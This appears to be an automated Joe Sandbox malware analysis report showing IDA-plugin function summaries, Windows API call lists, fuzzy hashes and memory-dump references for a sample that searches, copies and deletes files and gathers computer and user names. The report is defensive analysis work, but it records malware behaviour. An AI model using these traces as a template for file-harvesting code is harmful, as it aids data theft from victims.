Associated: 00000006.00000002.1537597346.0000000000D90000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000DEA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E18000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E1F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E22000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E41000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E4D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E72000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E9F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F55000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F5B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000000FEE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000116C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000124E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001271000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001278000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001287000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538372626.0000000001288000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538471319.0000000001420000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538485418.0000000001421000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d90000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: 309a31f7c38f6b083a62b48627b598e1810be915f7d87b9f30abdde07845b01d
Instruction ID: 08b5d92c0b7c134209f2574b65324660272e259991e50fff6401163e3fa0f537
Opcode Fuzzy Hash: 309a31f7c38f6b083a62b48627b598e1810be915f7d87b9f30abdde07845b01d
Instruction Fuzzy Hash: 797129729101189BCF44EBB8DD96DEE7379EF55300F404629F503A6191EF38AA09CBB2

Function 00DA4BB0 Relevance: 2.6, APIs: 2, Instructions: 118stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00DA8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00DA8E0B

lstrcat.KERNEL32(?,00000000), ref: 00DA4BEA
lstrcat.KERNEL32(?,0194E340), ref: 00DA4C08

Part of subcall function 00DA4910: wsprintfA.USER32 ref: 00DA492C
Part of subcall function 00DA4910: FindFirstFileA.KERNEL32(?,?), ref: 00DA4943

Part of subcall function 00DA4910: StrCmpCA.SHLWAPI(?,00DB0FDC), ref: 00DA4971
Part of subcall function 00DA4910: StrCmpCA.SHLWAPI(?,00DB0FE0), ref: 00DA4987
Part of subcall function 00DA4910: FindNextFileA.KERNEL32(000000FF,?), ref: 00DA4B7D
Part of subcall function 00DA4910: FindClose.KERNEL32(000000FF), ref: 00DA4B92

Part of subcall function 00DA4910: wsprintfA.USER32 ref: 00DA49B0
Part of subcall function 00DA4910: StrCmpCA.SHLWAPI(?,00DB08D2), ref: 00DA49C5
Part of subcall function 00DA4910: wsprintfA.USER32 ref: 00DA49E2
Part of subcall function 00DA4910: PathMatchSpecA.SHLWAPI(?,?), ref: 00DA4A1E
Part of subcall function 00DA4910: lstrcat.KERNEL32(?,0194F050), ref: 00DA4A4A
Part of subcall function 00DA4910: lstrcat.KERNEL32(?,00DB0FF8), ref: 00DA4A5C
Part of subcall function 00DA4910: lstrcat.KERNEL32(?,?), ref: 00DA4A70
Part of subcall function 00DA4910: lstrcat.KERNEL32(?,00DB0FFC), ref: 00DA4A82
Part of subcall function 00DA4910: lstrcat.KERNEL32(?,?), ref: 00DA4A96
Part of subcall function 00DA4910: CopyFileA.KERNEL32(?,?,00000001), ref: 00DA4AAC
Part of subcall function 00DA4910: DeleteFileA.KERNEL32(?), ref: 00DA4B31

Part of subcall function 00DA4910: wsprintfA.USER32 ref: 00DA4A07

Memory Dump Source

Source File: 00000006.00000002.1537629234.0000000000D91000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000006.00000002.1537597346.0000000000D90000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000DEA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E18000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E1F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E22000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E41000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E4D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E72000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E9F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F55000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F5B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000000FEE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000116C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000124E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001271000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001278000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001287000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538372626.0000000001288000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538471319.0000000001420000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538485418.0000000001421000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d90000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Filewsprintf$Find$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID:
API String ID: 2104210347-0
Opcode ID: 94f86d03b5fefe2505b7a9f37917d56ff8c106545065a74aeed72b31b4b0d891
Instruction ID: 0427cbcc75a1180198a76e106d40ff09fd7a719f9b68d3e7b3366cf0f91b4f27
Opcode Fuzzy Hash: 94f86d03b5fefe2505b7a9f37917d56ff8c106545065a74aeed72b31b4b0d891
Instruction Fuzzy Hash: 194177BB5001086BCB94F7B4EC42EEE333EE799700F40854DB58656185EE755B889BB2

Function 00D96660 Relevance: 2.6, APIs: 2, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00003000,00000040), ref: 00D96706
VirtualAlloc.KERNEL32(00000000,?,00003000,00000040), ref: 00D96753

Memory Dump Source

Source File: 00000006.00000002.1537629234.0000000000D91000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000006.00000002.1537597346.0000000000D90000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000DEA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E18000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E1F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E22000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E41000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E4D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E72000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E9F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F55000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F5B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000000FEE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000116C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000124E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001271000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001278000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001287000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538372626.0000000001288000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538471319.0000000001420000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538485418.0000000001421000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d90000_file.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: c01134d4f1b1195cec1ce7be4df71c8dd4812cf6706dff26737e46ccab5b0a04
Instruction ID: 5612ebfe0dfe0859806a4a5baf596f6771f63e406cf45cea5b50e851fb75f44b
Opcode Fuzzy Hash: c01134d4f1b1195cec1ce7be4df71c8dd4812cf6706dff26737e46ccab5b0a04
Instruction Fuzzy Hash: 1741DA74A00209EFCB44CF98C494BADBBB1FF48315F2482A9E9599B355D731EA81CF94

Function 00DA5050 Relevance: 2.5, APIs: 2, Instructions: 48stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00DA8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00DA8E0B

lstrcat.KERNEL32(?,00000000), ref: 00DA508A
lstrcat.KERNEL32(?,0194EAE8), ref: 00DA50A8

Part of subcall function 00DA4910: wsprintfA.USER32 ref: 00DA492C
Part of subcall function 00DA4910: FindFirstFileA.KERNEL32(?,?), ref: 00DA4943

Memory Dump Source

Source File: 00000006.00000002.1537629234.0000000000D91000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000006.00000002.1537597346.0000000000D90000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000DEA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E18000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E1F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E22000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E41000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E4D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E72000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E9F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F55000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F5B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000000FEE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000116C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000124E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001271000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001278000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001287000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538372626.0000000001288000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538471319.0000000001420000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538485418.0000000001421000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d90000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileFindFirstFolderPathwsprintf
String ID:
API String ID: 2699682494-0
Opcode ID: e69ad266beb9988c63e1e1fdf56dfcf735a91d9e2b51ef87243b1bdddc3d745d
Instruction ID: 242c000f743a85287bd6a7dddc80b41a4973bf9c3ee49f0223a828b54cc6cce1
Opcode Fuzzy Hash: e69ad266beb9988c63e1e1fdf56dfcf735a91d9e2b51ef87243b1bdddc3d745d
Instruction Fuzzy Hash: B301967690020C67CB54FBB0DC42EEE737CEB55300F004589BA4A56191EE74AA88DFB2

Function 00D910A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004), ref: 00D910B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0), ref: 00D910F7

Memory Dump Source

Source File: 00000006.00000002.1537629234.0000000000D91000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000006.00000002.1537597346.0000000000D90000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000DEA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E18000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E1F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E22000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E41000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E4D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E72000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E9F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F55000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F5B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000000FEE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000116C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000124E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001271000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001278000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001287000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538372626.0000000001288000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538471319.0000000001420000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538485418.0000000001421000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d90000_file.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 9b65b7d6c5ea4a6a0d0b62a2fbe8879176aa4357fd06af80cd1882d21f686cd3
Instruction ID: 9c9debcadf0f16b24a23756ed6b4ec703cae9b6ec203f4386a63878060664c69
Opcode Fuzzy Hash: 9b65b7d6c5ea4a6a0d0b62a2fbe8879176aa4357fd06af80cd1882d21f686cd3
Instruction Fuzzy Hash: 65F0E271641208BBEB149AB4AC49FAFB7E8E705B15F301448F904E3280D5729E00EAA4

Function 00DA8D90 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,?,00D91B54,?,?,00DB564C,?,?,00DB0E1F), ref: 00DA8D9F

Memory Dump Source

Source File: 00000006.00000002.1537629234.0000000000D91000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000006.00000002.1537597346.0000000000D90000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000DEA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E18000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E1F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E22000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E41000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E4D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E72000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E9F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F55000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F5B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000000FEE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000116C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000124E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001271000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001278000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001287000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538372626.0000000001288000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538471319.0000000001420000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538485418.0000000001421000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d90000_file.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 88bf19387e90a464b0d91594b2b1c5ecb5dcc05b585c77650ad1188a43193419
Instruction ID: 48966808d19c664f62a07476494706fe7560f33ce18b3af066cfb457bf2d8f3f
Opcode Fuzzy Hash: 88bf19387e90a464b0d91594b2b1c5ecb5dcc05b585c77650ad1188a43193419
Instruction Fuzzy Hash: 92F0A571D0020CEFCF04EFA8D5496DCBB74EB12320F108299E866A72D0DB759B55EBA1

Function 00DA8DE0 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00DA8E0B

Part of subcall function 00DAA740: lstrcpy.KERNEL32(00DB0E17,00000000), ref: 00DAA788

Memory Dump Source

Source File: 00000006.00000002.1537629234.0000000000D91000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000006.00000002.1537597346.0000000000D90000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000DEA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E18000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E1F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E22000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E41000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E4D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E72000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E9F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F55000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F5B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000000FEE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000116C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000124E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001271000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001278000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001287000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538372626.0000000001288000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538471319.0000000001420000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538485418.0000000001421000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d90000_file.jbxd

Yara matches

Similarity

API ID: FolderPathlstrcpy
String ID:
API String ID: 1699248803-0
Opcode ID: 44f8dac73a4c72b3104324d30655d3de8ca16a2fd981c4d7c7b7b377c782a505
Instruction ID: f97233a04bfa49ecae36efef1a13a1762220216eac73dd599053fcd38fb7d8ce
Opcode Fuzzy Hash: 44f8dac73a4c72b3104324d30655d3de8ca16a2fd981c4d7c7b7b377c782a505
Instruction Fuzzy Hash: B9E01A31A4034C6BDB91EB94CC96FAE737CDB44B01F004295BA0C5A1C0DE70AB858BA1

Function 00D91190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00DA78E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00DA7910
Part of subcall function 00DA78E0: RtlAllocateHeap.NTDLL(00000000), ref: 00DA7917
Part of subcall function 00DA78E0: GetComputerNameA.KERNEL32(?,00000104), ref: 00DA792F

Part of subcall function 00DA7850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00D911B7), ref: 00DA7880
Part of subcall function 00DA7850: RtlAllocateHeap.NTDLL(00000000), ref: 00DA7887
Part of subcall function 00DA7850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 00DA789F

ExitProcess.KERNEL32 ref: 00D911C6

Memory Dump Source

Source File: 00000006.00000002.1537629234.0000000000D91000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000006.00000002.1537597346.0000000000D90000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000DEA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E18000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E1F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E22000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E41000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E4D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E72000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E9F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F55000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F5B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000000FEE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000116C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000124E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001271000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001278000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001287000.00000040.00000001.01000000.00000004.sdmpDownload File
